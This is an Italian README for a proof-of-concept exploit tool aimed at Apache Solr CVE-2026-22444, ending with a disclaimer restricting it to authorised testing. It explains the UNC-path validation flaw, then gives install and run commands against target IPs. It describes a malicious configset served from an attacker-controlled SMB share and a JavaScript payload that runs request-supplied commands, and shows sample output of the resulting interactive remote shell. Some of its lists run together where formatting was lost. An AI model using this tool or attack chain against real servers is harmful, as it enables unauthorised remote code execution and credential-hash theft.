
Exploit per Apache Solr CVE-2026-22444, che sfrutta l'iniezione di percorsi UNC e un server SMB per ottenere l'esecuzione remota di codice tramite un configset dannoso e un payload JavaScript.
Vulnerabilità di convalida del percorso UNC in Apache Solr
CVE-2026-22444 è una vulnerabilità di sicurezza che interessa Apache Solr, divulgata pubblicamente intorno al 20 gennaio 2026. La vulnerabilità deriva da una convalida insufficiente dell'input (CWE-20: Improper Input Validation) su alcuni parametri API dell'API "create core" di Apache Solr, consentendo a un attaccante di aggirare le regole di sicurezza quando Solr è in esecuzione in modalità "standalone", con possibile divulgazione di dati, esecuzione remota di codice (RCE) o divulgazione di hash NTLM.
Nello specifico, se Solr non ha l'autenticazione abilitata o se l'utente dispone dei permessi per creare core, un attaccante può abusare di questa API tramite richieste appositamente costruite per accedere a file protetti o eseguire operazioni dannose.
La vulnerabilità è stata scoperta e segnalata ad Apache nel 2025, ed è stata divulgata pubblicamente sulla mailing list oss-security:
Annuncio ufficiale: https://www.openwall.com/lists/oss-security/2026/01/20/5
La vulnerabilità risiede in CoreContainer.java, dove il costruttore CoreDescriptor attiva operazioni di rete prima di eseguire la convalida del percorso UNC:
instancePath.toAbsolutePath() può risolvere percorsi UNC tramite la reteFiles.exists() esegue chiamate di reteFiles.newInputStream() esegue letture di reteassertPathAllowed() avviene solo dopo queste operazioniexploit.py - Script di exploit proof-of-conceptfiles/ - File di supporto necessari per l'exploit (configset)
rce.js - Payload JavaScript per l'esecuzione remota di codiceconf/ - File di configurazione Solr
solrconfig.xml - Definisce la catena di update processor dannosaschema.xml - Definizione dello schema Solrmanaged-schema - File dello schema gestitorequirements.txt - Dipendenze Pythonpip install -r requirements.txt
Le dipendenze includono:
requests>=2.25.0 - Per le richieste HTTPimpacket>=0.10.0 - Per creare il server SMBpython3 exploit.py <IP_target>
Esempio:
python3 exploit.py 192.168.1.100
python3 exploit.py <IP_target> --port <porta>
Esempio:
python3 exploit.py 192.168.1.100 --port 8983
python3 exploit.py <IP_target> --smb-host <IP_server_SMB> --smb-port <porta_SMB>
Esempio:
python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
python3 exploit.py <IP_target> --share-name <nome_condivisione>
Esempio:
python3 exploit.py 192.168.1.100 --share-name myshare
Posizionali:
target_host Indirizzo IP del server Solr target
Opzionali:
-h, --help Mostra il messaggio di aiuto ed esce
--port, -p PORT Porta del server Solr (predefinita: 8983)
--smb-host SMB_HOST IP del server SMB (predefinito: rilevamento automatico dell'IP locale)
--smb-port SMB_PORT Porta del server SMB (predefinita: 445)
--share-name SHARE Nome della condivisione SMB (predefinito: malicious)
filesDopo lo sfruttamento riuscito, lo script fornisce una shell interattiva:
solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user
solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...
solr> exit
[*] exiting shell...
Comandi supportati:
exit o quit - Esce dalla shell interattivaCtrl+C - Interrompe ed esceLa vulnerabilità sfrutta la seguente catena tecnica:
configSet (ad esempio //attacker-ip/share)StatelessScriptUpdateProcessorFactory di Solr per eseguire codice JavaScriptpython3 exploit.py 192.168.35.31 \
--port 8983 \
--smb-host 192.168.35.50 \
--smb-port 445 \
--share-name exploit
CVE-2026-22444/
├── exploit.py # Script di exploit principale
├── requirements.txt # Dipendenze Python
├── files/ # Configset dannoso
│ ├── rce.js # Payload JavaScript RCE
│ └── conf/ # Directory di configurazione Solr
│ ├── solrconfig.xml # Configura l'update processor dannoso
│ ├── schema.xml # Definizione dello schema
│ └── managed-schema # Schema gestito
└── README.md # Questo file
rce.js: questo è il payload RCE principale, che:
cmd dai parametri della richiestasolrconfig.xml: configura Solr per utilizzare la catena di update processor dannosa:
rce-chainrce.js/update per utilizzare questa catena⚠️ Avvertenza: questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi educativi. L'uso non autorizzato di questo strumento per attaccare sistemi è illegale.
Questo progetto è concesso in licenza sotto la licenza MIT. Fare riferimento al file LICENSE per i dettagli.
Questo strumento e le informazioni fornite sono destinati esclusivamente a scopi di ricerca sulla sicurezza e istruzione. L'autore non è responsabile per eventuali danni derivanti dall'uso improprio di queste informazioni o di questo strumento. L'utente deve rispettare tutte le leggi e i regolamenti applicabili e ottenere l'autorizzazione appropriata prima dell'uso.